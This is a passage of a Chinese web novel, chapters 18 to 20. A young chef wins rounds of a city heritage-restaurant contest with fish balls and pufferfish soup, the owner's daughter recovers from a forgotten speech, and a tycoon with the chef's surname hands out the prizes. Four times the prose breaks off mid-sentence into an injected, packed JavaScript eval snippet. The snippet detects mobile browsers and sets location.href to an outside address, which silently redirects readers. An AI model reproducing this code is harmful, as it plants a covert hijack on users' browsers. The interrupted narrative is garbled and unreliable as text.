他们这组的评委是个戴眼镜的矮胖子,六十来岁的样子,皮肤光滑红润,一看就是爱吃会吃的人。双手背在身后,一道菜一道菜慢慢品尝,不时砸吧嘴,自言自语几句,偶尔点点头,露出一抹意味深长的微笑。 洛苏紧张得捏紧拳头,心悬了起来,马上就要轮到宝庆楼了。 胖评委走到宝庆楼的操作台前,看了看名牌,颇感兴趣地问:“宝庆楼?是做鱼丸出名的那个宝庆楼吗?” 黎祁点点头,谦虚地答:“是的。” 胖评委有点吃惊:“宝庆楼的大厨不是洛玉柱吗?怎么换成了年轻小伙子?洛玉柱呢?宝庆楼易主了?” 黎祁马上明白,看来这评委和洛玉柱认识。但不能高兴得太早,认识有很多可能,可能是朋友,也可能是敌人。 他面不改色,平静地解释:“宝庆楼还是洛家的招牌,百年老店不会易主,洛师父身体不太舒服,所以派我来参加比赛。” 胖评委面露遗憾:“生病了?那真是可惜了。小伙子很年轻啊,还不到三十吧,你是洛玉柱的徒弟?” 黎祁一时间有点犹豫,他不是洛玉柱的徒弟,他一身本事并不是洛玉柱教的,但在宝庆楼的这几个月,他的确从洛玉柱身上学到了许多做厨之外的东西。在做厨这方面,他们有很多共同之处,可以说得上惺惺相惜。但在做厨之外,他称一声黎祁的“师父”并不十分过分。 想到这,他微微点点头:“我是他新收的徒弟。” 旁边冬瓜脸色微变,但又不敢出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他没有说加多少,怎么加,什么时候加,既能保全鱼丸的秘密又能解开他的困惑,不至于让这位宝庆楼故人下不来台。 胖评委连声赞叹,笑着竖起大拇指:“真是长江后浪推前浪,是洛玉柱教你这么做的?” 黎祁毫不犹豫地点头,再没有过多解释。可在胖评委眼里,就是默认这奇思妙想来自洛玉柱。这也符合他的想象。 冬瓜扭头看了黎祁一眼,面露怀疑。师父什么时候说过鱼糜里面要加鱼鳔了?难道师父只教给黎祁,没教给他?不可能!他不相信师父会这么偏心。 “好好好!宝庆楼有你这样的接班人我就放心了。原本还想着今天能吃到洛玉柱做的鱼丸,没想到塞翁失马焉知非福,真是江山代有才人出。给,这是你们应得的。” 胖评委摸出一张晋级票,递给黎祁。 “咔咔咔——”主办方负责拍照录影的工作人员举起相机对准了黎祁,记录下了这精彩的一瞬间。 洛苏高兴得和菜菜抱在一起,两人不顾周遭目光,兴奋得又叫又笑。 如果不是因为还在比赛,洛苏真想冲上去给黎祁一个大大的拥抱。 他是她此时此刻想第一个分享喜悦的人。 18. 巧胜 第一阶段的比赛历时两小时终于结束了。五十家参赛单位成功晋级,淘汰率百分之五十。下一阶段的比赛只有二十家单位能够进入决赛,淘汰率上升为百分之六十。 中场休息半小时,现场顿时陷入一片喧闹中。 洛苏拉开因为喜极而抱还在吵嘴的老豆和丸子,劝道:“别吵了,就当被猪拱了一下行吗?” 一句话骂了两个人,可两个人都觉得被骂的不是自己。 老豆阴阳怪气:“是啊,可不是被猪拱了一下吗?” 丸子也不服气:“对啊,还是一只瘦皮猪!扔去屠宰场都没人要的那种!” 菜菜无可奈何,看到黎祁和冬瓜收拾好东西正朝这边走过来,高兴得迎上去:“黎大哥,你真棒!” 冬瓜脸色变了。 菜菜马上狗腿地凑到他面前,补救道:“冬瓜哥,你也很棒!” 洛苏笑盈盈走到黎祁面前,双手捧着一瓶水献宝一样:“您辛苦了。” 只要能赢比赛,狗腿一点又何妨? 又把另一瓶水扔到冬瓜手上,冬瓜手忙脚乱接住,咧嘴憨笑:“谢谢酥酥。” 黎祁觉得好笑,拧开瓶盖,“咕噜咕噜”喝水,他真的渴了。 洛苏拉住他的衣袖,把他扯到一边:“那评委跟你们说了什么?怎么说了那么久?” 黎祁被她拉住,不得不低下头凑近点跟她说话,“没说什么。” “不可能!肯定说什么了,你不告诉我我去问冬瓜就是了!” 洛苏转头要走。黎祁呼出的气喷在她脸上,湿湿热热的,她脸发烫了。 “行,告诉你也没关系。他说见过你爷爷,还认识你爸。” 洛苏倏地转回来,变脸比川剧还快。 “真的?他见过我爷爷?” 洛宝庆在洛苏的心中是一个神话一样的人物。 幼年丧父,上有寡母要奉养,下有弟妹要照顾,只能辍学跟随伯父学厨。历经风雨飘摇,时代变幻,终于在八十年代重建了宝庆楼。又用一双手打出了宝庆楼的显赫名声,给国家领导人做菜,风头一时无两,当时江城餐饮界,说起洛宝庆,也是一号响当当的人物。 祖父的身上汇集了“穷人的孩子早当家”“莫欺少年穷”等充满戏剧色彩的故事。可他去世的时候,洛苏还在苏爱云的肚子里。她无缘得见拥有传奇人生的祖父。 突然听说此间有人曾在四十年前见过她祖父,她恍惚间有种时空穿梭的错觉,好像穿过几十年的岁月长河,她能清楚看到她那位自强不息的祖父,能够亲口叫他一声“爷爷”。 黎祁看出洛苏的触动,心中涌上一丝奇怪的情绪。 他好像有点羡慕她。 不过是一个人曾经见过她祖父,就能让她激动得热泪盈眶。她对她的祖父有强烈的敬爱和怀念。他不知道这是什么样的感受,他有点想体会一下。可他不知道他的祖父是谁,是好人还是坏人,有没有了不得的名声等等,他一无所知,也无迹可寻。 他还有点嫉妒她。 和她比起来,他似乎更像宝庆楼的后人。他有做厨的天赋,和洛玉柱很多观点不谋而合,他们合作无间,要不是两张脸没有丝毫相像之处,可能很多人会以为他是洛玉柱的儿子。可他不是,那样慈爱的父亲和贴心的母亲,都不是他的。 他按耐住上涌的奇怪情绪,继续说:“四十年前,你祖父给领导人做鱼丸,他是当时的对接干部,对你祖父和父亲都赞誉有加,还问我是谁。” “你怎么回答的?”洛苏揉揉眼睛,泪中带笑。 “我说我是你爸的徒弟。”黎祁有些不自在地撇开脸。 洛苏怔住。 黎祁给他爸当徒弟,那是名师出高徒,是双赢。更是无形中抬高了父亲的名望。 更重要的是黎祁向来独来独往,没朋友,没家人,他表现得也不需要这些。可在这个明明可以给他自己扬名的场合,他却选择把自己和并没什么关系的洛玉柱紧紧绑在一起,共享荣耀。他好像不再是那个活人勿近的冷冰块了。 冻豆腐有解冻的迹象。 “你可以不那么说的。”洛苏想看看这块豆腐解冻到了什么程度。 “一个称呼而已。”他拧好瓶盖,准备回到比赛场地。 洛苏叫住了他。 “黎祁……” 黎祁回身看着她。 “谢谢你。比赛加油!” 黎祁意味不明地看她一眼,“你今天的谢谢说得够多了。”顿了顿,“不用谢,我们是公平交易,各取所需。” 嗐!又打回了原形。 洛苏看着他走远的背影,狡黠的笑。公平?你跟我谈公平?我会让你知道,我们老洛家的女婿,可没那么好当。 第二轮比赛开始了。全场少了一半参赛选手,场地瞬间空旷了许多。 这一轮是精品赛,每家单位都拿出了看家绝活,抱着和洛苏一样的想法,想通过这一局直接定胜负。 现场很快响起了煎炒涮炸的声音,食物香气渐渐弥漫在会场。 精品赛就是精品赛,洛苏发现这一局很高端,现场龙虾鱼翅比比皆是。她不知道黎祁准备用什么参赛。和上一局一样,用最平凡的食材? 她调整好相机的位置,全神贯注地盯着黎祁,不想错过他任何一个动作。 他提出来一个便携式鱼箱。 “这是什么?” 冬瓜好奇,他早就发现桌下有个鱼箱,但是黎祁不说他也不敢问,更不敢擅自打开,心里早就猜了又猜。 黎祁不答,打开鱼箱,水声哗哗,鱼尾翻腾,水花飞溅,他被甩了一脸。 好活泼的鱼! 他抬手抹抹脸,不客气地一下把鱼捉了出来。 “这是……河豚!” 冬瓜目瞪口呆。 古诗云:蒌蒿满地芦芽短,正是河豚欲上时。 桃花夭夭,春江水暖,正是河豚最肥美的时候。 自古以来,河豚就是味道绝美的食物。可有幸品尝过的人却很少,因为河豚,有剧毒。 冬瓜指着河豚,不敢置信:“你,准备做河豚?” 黎祁瞥了他一眼:“难道是带来玩吗?” 冬瓜语塞,过了一会儿才小心翼翼提醒:“河豚需要专业厨师处理,不然不符合参赛规定。” 评委们还不想因为一个比赛送命。他暗暗想着,对黎祁的异想天开感到很不理解。 “我知道。” 黎祁从裤兜里掏出一个小本子放到桌面上,然后准备处理河豚。 冬瓜拿起来看,不是别的,正是河豚处理资格证书。 他认命般放下,开始老老实实给黎祁打下手。 他彻底服了。不敢再问任何问题。他怕自己再问什么,黎祁又会从他的口袋里掏出别的证书。 人比人,气死人。明明是差不多的年纪,可是他和黎祁相比,一无是处。 “河豚本身味道已经足够鲜美,复杂的烹饪方式会破坏原本的鲜味,我们今天就做最简单的河豚汤。你预备姜片、葱段、豆腐。” 黎祁戴好手套,手起刀落,剖腹、放血、去腮、剥皮,一道工序下来,他额头上出了微微一层薄汗。 冬瓜早已经配完了菜,认真看着黎祁处理河豚,暗自记下每个步骤和动作。 “暗纹东方鲀是经过备案可以合法销售和食用的河豚,主要毒素来自肝脏、卵巢、血液和皮肤,把这些地方处理干净就可以放心食用。” 冬瓜见他并没有把鱼切成块,疑惑道:“不切块?那内脏怎么取出来?” 黎祁默默动作,他的手好像自带导航识别能力,伸到鱼腹里,精准地撕下肝脏,又完整地拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207655|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来。接着是肾脏、卵巢…… 等他处理完毕,河豚肚里已经干干净净,可全身上下只有侧身那里一个刀口,别的地方都完好无损。 这功夫,没别的捷径,只有日复一日地苦练。 冬瓜曾经见过师父整鸡去骨,惊叹不已。那鸡看起来除了没毛,根本像睡着了。 他求师父教他,师父笑着擦手:“步骤都在这里了,除了苦练没别的窍门。” 他也私下练习过给鸽子、鹌鹑去骨,可总是不成。他的手不听话,而黎祁的手和师父的手一样,灵巧精致,看他们处理食材,不仅是烹饪技巧展示,更是一种视觉艺术。 洛苏看着镜头里的黎祁,几乎屏住了呼吸。她喜欢看父亲做菜,因为他总是游刃有余,面带微笑,好像做菜是一种享受。 黎祁做菜的样子她看得不多。因为他忙的时候,她也在忙。等她闲下来能进厨房了,他通常也忙完了。今天是洛苏第一次完完整整、从头到尾看他做完一道菜。 他认真的样子不像平时那么冷酷,甚至有点不易察觉的温柔。他对待食材也不像有些厨师那么粗暴,动作精巧到位,不是花架子却看起来赏心悦目。 洛苏不知不觉看入迷了。 “整条鱼煮汤外形上更美观,哪怕不是比赛,食物的外形也很重要,和以貌取人一样,以貌取食很正常。” 黎祁洗干净手,开始进入正题。如果说做菜是一出戏,那么处理河豚才是这出戏的高/潮,高/潮过后,一个欢喜的结局是顺理成章。 煮鱼汤的步骤很常规,大火沸腾之后转小火慢炖,直到汤变成乳白色,这道菜基本就大功告成,豆腐只是锦上添花,吸饱了汤汁的豆腐中和豆香,变得鲜滑软嫩,让这道菜多了一些丰富的口感。 河豚鱼汤的香味独特奇异又浓郁,很快吸引了所有人的注意。龙虾固然昂贵、鱼翅也很难得,但在剧毒的河豚面前,他们都要退避三舍。 越是有毒越让人欲罢不能。 其他单位的参赛选手频频投来好奇的目光,有的忍不住交头接耳,窃窃私语,大抵是在讨论,宝庆楼到底做的什么菜,怎么会这么香。 评委开始品菜。这一轮的评委只有五位,都是知名专业大厨或者著名食家,每道菜经过他们的品尝之后给出得分,不过几分钟,一道菜的生死就落定了。 不时可见个别评委摇头皱眉,显然并不满意。比赛是综合实力的考验,有些选手平时发挥很正常,但是到了比赛就大失水准。抑或是经过了第一轮比赛就掉以轻心,草率轻敌,殊不知强中自有强中手。 下一个就轮到宝庆楼了,现在接收品评的是本地知名餐厅胖仔虾庄。以做小龙虾闻名国内的胖仔虾庄据说一天就能卖出二十多吨小龙虾,是行业龙头。 油焖大虾是一道色香味俱全的菜,红彤彤的色泽让人食欲倍增,咸香麻辣,特别开胃。每年一到吃虾季,几乎一号难求。 评委们显然都知道胖仔虾庄的大名,满脸期待,带上手套开始剥虾。 黎祁和冬瓜也想知道他们的虾到底有多好吃,不约而同看过去。每年夏天,宝庆楼也会加上小龙虾这道菜,但并不算招牌菜,只能算时令菜,夏天过了就撤下来,属于无功无过的菜式。 几个评委吃得满嘴流油,纷纷点头。 冬瓜急了,“真那么好吃?我也吃过啊,一般般,太咸了……” 黎祁不语,继续看。 评委们脱下手套,开始现场打分。 四位评委都不谋而合地打出了高分。只有一个看起来是评委组长模样的人还在咂摸嘴,似乎在思考什么。 胖仔虾庄的人一脸志得意满,仿佛他们已经胜券在握。 最后一位评委突然露出恍然大悟的笑容,慢悠悠开口了。 “你们这道菜好吃是好吃,但有一个很大的问题。” 19. 危机 黎祁低头露出一抹未卜先知的笑容。看来评委也发现了那个问题。老字号比赛,一般人都会想用自己的招牌菜参加比赛,这是人之常情,但是他们疏忽了一件很重要的事情。 胖仔虾庄的人一听就急了。 “有什么问题?” 评委笑呵呵把手往下压压,示意他们不要激动,然后娓娓道来:“油焖大虾这道菜你们做得没问题,火候、味道、外形都无可挑剔,但是你们忘了一点,现在还没到吃虾的季节。春天的虾个头小,肉少,即便是个头大的,也多半是空壳。‘油焖大虾’有个‘大’字,那虾一定要肥大饱满才担得起这个‘大’字。一个好的厨师不仅要有无可挑剔的技巧,在挑选食材方面也应该有超出常人的敏感知觉。厨艺再好,食材不合格也不过是亡羊补牢,只有把个人技巧和食材的优点完美结合到一起,才是一个顶级厨师。” 那厨师一开始还有点不服气,听着听着头就慢慢垂了下去。 真是百密一疏,竟然在挑选食材这关上面栽了跟头。他们已经尽量挑选活蹦乱跳的小龙虾了,但是春天的虾的确存在不够饱满的问题,如果要又大又饱满,那只能是冻虾,可冻虾的口感和活虾没法比,内行一吃就知道。 评委们摇头感到惋惜,然后走到了黎祁面前。 洛苏已经看到评委们对胖仔虾庄的点评,心里更紧张了。胖仔虾庄的名气远大于宝庆楼,评委们都能挑出毛病,宝庆楼能入他们的眼吗?可看到黎祁一副淡定自信的模样,她又有点安心。她莫名地相信黎祁。他要么不做,一旦做了,肯定会做到最好。 “这是……河豚?” 评委组长吃惊地看着面前这锅看起来平平无奇却散发着浓烈奇香的鱼汤。 一座千万人口的超大城市,售卖河豚的餐厅不过十来家。不是因为河豚多么名贵,而是因为处理河豚需要门槛。因此尽管人人皆知河豚味道极为鲜美,可能够一饱口福的人却寥寥无几。 黎祁点头:“是的。” 不等评委继续说话,他舀起一勺鱼汤放到碗里,当着大家的面喝了下去。 这是吃河豚的古老习俗。因为河豚有剧毒,所以自古以来,做河豚的厨师都要自己先吃一口,以示河豚已经处理干净。河豚毒发很快,如果厨师吃了没问题,食客才可以放心大胆地吃。 现在可供食用的河豚都来自专业养殖,处理河豚更是需要专门的资格证,能售卖河豚的也必须是资质健全的正规餐厅,这道古老的程序早已经没有存在的必要了,但黎祁还是严肃地照做了,像是一种仪式,提升吃河豚之前的庄重感。 评委们面面相觑,谁都不敢先吃,暗自打量着黎祁,好像生怕他会毒发。 冬瓜也有点紧张,可见黎祁毫发无损,忙不迭把黎祁的资格证举起来:“各位评委,我们家的厨师有河豚处理资格证的,请放心品尝!” 评委组长率先破冰,颇为赞赏地说:“小伙子,你的手艺不错啊,我吃过几次河豚,可鱼身完整的河豚汤还是第一次吃。我来尝尝看。” 他舀起一碗汤,喝了一小口。 其他几个评委也跟着开始品尝。 酸甜苦辣咸组成五味人生。可人生至味却在五味之外,那就是鲜。 天上飞的,地上跑的,水里游的,没有哪样食物比得上河豚能担得起这个“鲜”字。 评委们不说话,沉默着喝汤,喝完了汤又夹豆腐和鱼肉吃。 不一会儿,一锅汤就快见底了。 工作人员不得不在旁边小声提醒,后面还有菜要品尝呢,别吃太饱了…… 评委组长抹抹嘴,心满意足地问:“小伙子,你的河豚汤是我吃过的最鲜的鱼汤。你叫什么名字?有这样的手艺怎么不去更好的地方发展?你这么年轻,将来前途无量啊!” 他悄悄扫了一眼名牌,宝庆楼?完全没听过。听起来像个人的名字。 黎祁不卑不亢,朗声说:“宝庆楼挺好的,山不在高有仙则名,水不在深有龙则灵,宝庆楼鱼丸是省级非物质文化遗产,欢迎各位专家莅临品尝。宝庆楼的手艺已经够我学很久了,做人不能太贪心。” 评委组长的招揽之意很明显。可黎祁的拒绝也很坦然。评委们纷纷一愣,对黎祁有点刮目相看。 今天虽然是个比赛,但更是厨师们崭露头角的好机会。若能够脱颖而出,跳槽升职加薪不过是转瞬之间。可这小伙子竟然不为所动,还一派谦虚护主模样,颇有君子之风。 评委们沉默了一会儿,开始打分。 观众席上的洛苏屏住了呼吸。她看到评委们吃了许久,应当是很喜欢黎祁做的菜。当工作人员报出宝庆楼参赛菜品是河豚鱼汤的时候,她大吃一惊。黎祁不肯告诉她用什么菜品参赛,可她怎么也想不到是河豚。 但很快她就明白了。这是奇招,出奇制胜。 今天参赛的单位名气比宝庆楼大,生意比宝庆楼好,一般的菜要想取胜很难,说不定还会和别人重了。鱼丸已经在第一轮做过了,第二轮必须做一道让人眼前一亮的菜才能有些胜算。 河豚是不二之选。 评委们明明吃得很开心,可和黎祁说了几句话之后脸色都严肃起来,难道有什么问题? 洛苏双手交握在胸前,开始无声祷告。 “下面我宣布宝庆楼第二轮比赛的得分。” 洛苏的指尖深深扎进掌心,心中不停默念,一定要赢,一定要赢…… 工作人员的声音从扩音器里清晰又洪亮地传出来。 “去掉一个最高分和一个最低分之后,宝庆楼的最终得分是——95.6分!” 全场一片安静。 洛苏激动得“啊”了一声,菜菜更是忍不住流出了眼泪。老豆和丸子再一次兴奋得抱在了一起。 这是截至目前的最高分! 还有十来家单位,哪怕他们的分数都高于宝庆楼,宝庆楼进入决赛也是板上钉钉的事情了! 洛苏那一声喊叫尤其突兀,想到还在比赛,她低下头不好意思面对四面八方投来的目光,但很快她又骄傲地抬起头,像一只得胜的斗鸡。 她为什么要缩起来?偏不!就是要让所有人都知道,宝庆楼还没完,不仅没完,还会东山再起,蒸蒸日上。 她看到黎祁朝她看了一眼,这回不是错觉。他的确是在看她,眼神里却没有熟悉的嫌弃和取笑,他好像觉得她很好玩,在这样隆重严肃的场合,她不按常理出牌,明明被注目之后有些不自在,又很快调整自己,倔强得像一只骄傲的孔雀,恨不得把自己漂亮的战绩在每个人面前展示一圈。 洛苏接收到了他的讯息,并进行了解码,他在说“你好幼稚”。 她无所谓,特意抬起下巴,得意地看回去。见他满不在乎地笑了笑,她也朝他露出了微笑。这次是发自内心的笑。之前她也朝他这样笑过,但那时是装的,只是想让他臣服妥协。可现在,她是真的想对他笑一笑,如果不是因为周围有这么多人,要维护宝庆楼的形象,她还想拉着他的手高兴地又蹦又跳。 进入决赛的名单出来了,宝庆楼以高分位居前列。接下来是紧张的品牌文化解说环节,洛苏到洗手间换了身衣服。她今天特地化了个美美的妆,优雅中透露着知性,颇有点小学老师的端庄气质。 菜菜前后左右检查,生怕有不妥。老豆竖起大拇指鼓励洛苏:“酥酥,加油,就看你的了!小黎已经帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“下面请宝庆楼的参赛选手登台为大家讲述宝庆楼的百年辉煌发展史。让我们掌声欢迎——” 洛苏深吸一口气,面带微笑、昂首挺胸地走上台,她看到台下一片闪光灯频频闪烁,第一排坐着几个评委,都表情严肃地看着她,后面是乌压压的观众,她看不到老豆他们在哪。每个人看上去都长得一样,连表情都没什么区别。 她突然有点紧张,这场比赛太重要了。甚至关系到宝庆楼的生死存亡。她不能出一点差错,也不能拖黎祁的后腿,他已经给她打好了头阵,她只需要正常发挥就行。 越不能紧张越紧张,越想要冷静就越激动,洛苏开始背诵她写好的稿子,她声情并茂,像那些演讲惯了的人一样不时挥起手,以表现自己高亢的情绪。 “四十年前,宝庆楼的创始人洛宝庆承蒙青睐,受邀为国家领导人献艺,宝庆楼鱼丸从此声名大噪,宝庆楼今天的接班人洛玉柱也是从那个时候开始走进厨房,从此,厨房成为他毕生的战场——” 这里,洛苏设计了一个小小的停顿,好让自己的情绪得到缓冲,也让观众们的头脑稍微休息一下,好细细品味前面的内容。 可她看到有一个评委一直面无表情地看着她。 怎么了?难道我哪里不对劲? 洛苏尽量维持着甜美大方的笑容,可比赛如战场,只要开一下小差,就可能前功尽弃、小命不保。 洛苏深吸一口气准备继续演讲,可突然间,她发现她忘词了,头脑完全一片空白,一个字都想不起来了。就像猛地一下被切断电源的电脑,彻底宕机了。 20. 我要结婚 历时整整一天,“江城老字号”大赛的比赛结果终于出来了。 过五关斩六将之后,十家单位获得了这项来之不易的殊荣。 当洛苏迷迷糊糊站上舞台领奖的时候,还感觉一切像在做梦,很不真实。她不自觉地在台下黑压压的人群中寻找熟悉的面孔。她记得很清楚,刚才她忘词的时候,如果没有黎祁,她不会那么快化险为夷。她的视线越过人群,找到了黎祁。他坐在人群里,百无聊赖的模样,似乎对一切都漠不关心。 老豆轻轻推了黎祁一下:“小黎,你和酥酥一起去领奖吧,这奖有你一半。” 黎祁有点犹豫,他不喜欢抛头露面,更不喜欢这样盛大隆重被无数闪光灯怼着的场合。 可他看到台上洛苏向他投来的目光,一向精明能干的她,看起来茫然懵懂,好像还没弄清楚发生了什么。她看着他的样子,像看到了救星。她冲他笑了笑,又像急于得到表扬的孩子。 他突然想起来宝庆楼的第一天,她也是像个孩子一样,捧着一碗白粥和咸菜,邀功一样请他吃。 他站起身,朝台上走去。 洛苏朝黎祁身边挪了挪,小声说:“刚才谢谢你……” 黎祁面不改色注视着前方,“关键还是靠你自己。” 洛苏对时间很敏感。学校里工作要求按班就点、分秒必争,她从不拖堂,也绝不迟到,哪怕一分钟。一分钟很短,但在教学秩序面前,一分钟就是对规则的挑战。 可眼前的一分钟,洛苏感觉尤其漫长。在忘词的那一分钟,她脑子里闪过无数念头。像个逃兵一样仓皇下台?这是结束煎熬最快的办法。 可她做不到。 这是宝庆楼恢复昔日荣光的重要机会,她不能让所有人的努力在她手上付诸东流。尤其是黎祁已经做了那么多,如果现在放弃,那她离经叛道的牺牲就毫无意义。 她必须要赢! 她深呼吸,竭力表现得自然淡定,好像只是在中场休息。加深脸上的微笑,故作泰然地扫视一遍台下的观众,像个睥睨一切的王者。 哪怕里子没了,面子也得兜住。 她的目光扫过老豆他们所在的位置,她看到老豆的脸皱成一团,眉毛拧在一起,显然十分着急害怕。 她来不及看其余人,刚要把视线转开,突然看到老豆身边的黎祁站起身,不顾众人诧异的目光,面带微笑,对她竖起双手的大拇指,比出一个“赞”。 这是他第一次夸奖她。往常他对她表露最多的表情是嫌弃、嘲讽和无语。 她懂他的意思,他在给她打气,给他鼓励,同时也在说,你已经很棒了,不要紧张,不论结果如何,我们都问心无愧。 一股暖流从心脏涌出来,然后慢慢游走全身,洛苏因为紧张而发冷的四肢逐渐回温,凝滞的大脑开始重新运作。 她还是记不起演讲稿上接下来应该说什么。但她一点也不紧张了,忘词有忘词的打法。 让你们看看什么是freestyle吧! 洛苏开始即兴演讲,演讲稿固然写得更好,但是即兴更有激情和巧思,她慷慨激昂、声情并茂,将宝庆楼的兴衰四十年娓娓道来,说到感动处还忍不住红了眼眶。 台下鸦雀无声,只有摄影设备发出“咔咔”的声音。 时间快到了,洛苏看到角落的工作人员举起了计时提醒牌,她深吸一口气,动情地说:“一座城市或许不缺一间餐馆酒家,但总会有人因为一顿美食爱上一座城、爱上一个人。宝庆楼存在的意义大概就是提醒那些老去的人,他们年轻时候有过怎样的辉煌,曾经又为这座城献出过怎样的力量,而这记忆将成为他们面对衰老的勇气。时光虽老,但记忆永恒。” 她深深鞠了一躬,既是对观众致意,更是对自己有所交代。她尽力了,不论结果如何,她都坦然接受。 像父亲说的那样,但行好事,莫问前程。享受过程,看淡结果。 当工作人员念出最终得分的时候,她不敢置信,甚至以为自己听错了。 宝庆楼三轮比赛均获得高分,最后以总分第三名的好成绩成功获得了“江城老字号”的殊荣。 颁奖嘉宾开始上台颁奖。 洛苏兴奋地看着礼仪小姐捧在手上的奖牌和证书,脑子里已经开始思考把它们挂在店里哪个地方更合适。要显眼,要亮堂,让人一眼就看见。 “恭喜你们。” 低沉略带喑哑的声音把洛苏从遐思中拉了回来。 “这是御龙餐饮集团的李董,由他给二位颁奖。”工作人员在一旁介绍。 御龙餐饮集团?那不是江城有名的大公司吗?作为江城餐饮界的龙头,御龙集团旗下有好几个知名餐饮品牌,分店遍布江城,是颇有实力的民营企业。 有钱人保养得可真好。 洛苏偷偷打量这位颇有名望的大老板,心中暗暗品评。 他看起来不到六十岁,油亮的乌发里夹着几根银丝,黑色西装剪裁考究,贴身笔挺,不像一般老年人那样发福,反而精瘦,瘦长的脸上一双狭长的眼睛闪着看似和蔼实则精明的光。 他伸出手要和洛苏、黎祁握手。 洛苏礼貌地伸出手,冲他露出一个礼仪性质的微笑。 宝庆楼和御龙集团,如果不是因为这场比赛,也许一辈子都不会有什么交集。洛苏还没有天真到以为站在同一个台上,就是一个圈子的人。 保持礼貌即可,讨好巴结全无必要。 “小姑娘很聪明也很镇定,懂得转危为机,真是年少有为。” 李董看着洛苏,眼中充满了赞赏。 洛苏不卑不亢,露出端庄的微笑,然后从这个有钱人手上接过奖牌。 面前的大老板看起来没什么架子,又说了些鼓励祝贺的话,转到黎祁面前。 “这位小伙子是宝庆楼的大厨吧?比赛的时候我就注意到你了,年轻有为,前途无量啊!” 黎祁客气地道声谢,从他手上接过获奖证书,并不热情。 “小伙子、小姑娘,这是我的名片,如果以后有需要,可以找我。” 他示意身边的人拿两张名片给洛苏和黎祁。 他的助手恭敬地递上两张名片,快速退了下去。 工作人员招呼他们合影。洛苏和黎祁一左一右站在这位大老板的身边,拍下了一张犹如外交会见般严肃又拘谨的照片。 照片上洛苏笑容僵硬,怪不得她,她虽然擅长拍照,但是不擅长被拍,尤其是演讲完她的腮帮子已经快僵硬了,实在笑不出来。 黎祁表情疏离,完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207657|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有领奖的喜悦和自豪,仿佛在参加一场身不由己的盛会,只想快点结束然后离开。 颁奖仪式终于结束了,洛苏捧着奖牌和证书回到老豆他们身边,几个人又笑又叫,恨不得把奖牌从上到下从正到反研究透彻。 黎祁摸出那张名片,悄悄扔到了身边的垃圾桶。 洛苏整理好东西,吆喝大家一起去吃大餐庆祝。 “吃什么吃什么?我想吃火锅!”菜菜兴奋地叫起来。虽然宝庆楼的饭菜很好吃,但每天吃也着实有点腻。 “你们呢?”洛苏摸出手机准备看附近哪家火锅店好吃。 一张纸片从她口袋落到了地上。是刚才收到的名片。 她弯腰拾起,不经意扫了一眼。 黎少康,御龙餐饮有限责任公司董事长。 原来是黎祁的“黎”,刚才颁奖的时候她以为是“李”,也不方便仔细看就揣进了兜里。 “黎祁,那个老板也姓黎,你们不会是什么亲戚吧?这个姓很少见。除了天王,你们俩是我认识的唯二姓黎的。” 洛苏捏着名片,对黎祁晃了晃。 黎祁扫了一眼,语带讥讽,仿佛听到了什么无稽之谈,“你应该反思是不是你认识的人太少了。” 洛苏悻悻收回名片,放进包包的夹层,“开个玩笑而已。” 想到黎祁说他没有父母,洛苏心里闪过一丝涩意,觉得自己的玩笑有点唐突了。 吃完火锅回到家已经是晚上十点。洛玉柱夫妇喜笑颜开地迎接得胜归来的女儿,要不是女儿已经长大,他们恨不得把她抱在怀里欢呼着扔到半空中。 “我看看这个奖牌挂哪里好啊……”洛玉柱抱着奖牌,拄着拐杖慢慢挪动着到处比划。 苏爱云感慨万千地把女儿拉到椅子上坐下,给她泡了一杯西洋参茶,“酥酥,你真是爸妈的好女儿!” “人家小黎还有一半功劳呢,明天别忘了感谢人家!”洛玉柱提醒母女俩。 “知道知道!我给他包了一个大红包,明天就给他,就算他不收我也想办法塞给他,这是我们的一番心意。我看他老是不吃晚饭,这样可不行,身体饿坏了,明天开始,晚上我给他炖药膳,强身健体。小黎可真是我们宝庆楼的福星啊!” 苏爱云说干就干,拉着女儿商量做什么药膳好,每天不能重样,还得开胃。她年轻的时候也是这么照顾洛玉柱的。 洛苏有一搭没一搭地附和,心思早已经不在这里了。 吃完火锅,获奖的喜悦和兴奋彻底倾泻出去之后,她的脑子完全清醒了。 她从来不是那种沉浸在过去的荣誉中津津乐道的人。她喜欢挑战喜欢打怪升级,一关过了就要想着过下一关。 现在,她已经过了最紧迫的一关,接下来的这关……她苦笑,这该怎么过啊? 看着父母笑逐颜开的模样,她突然有点恶向胆边生。 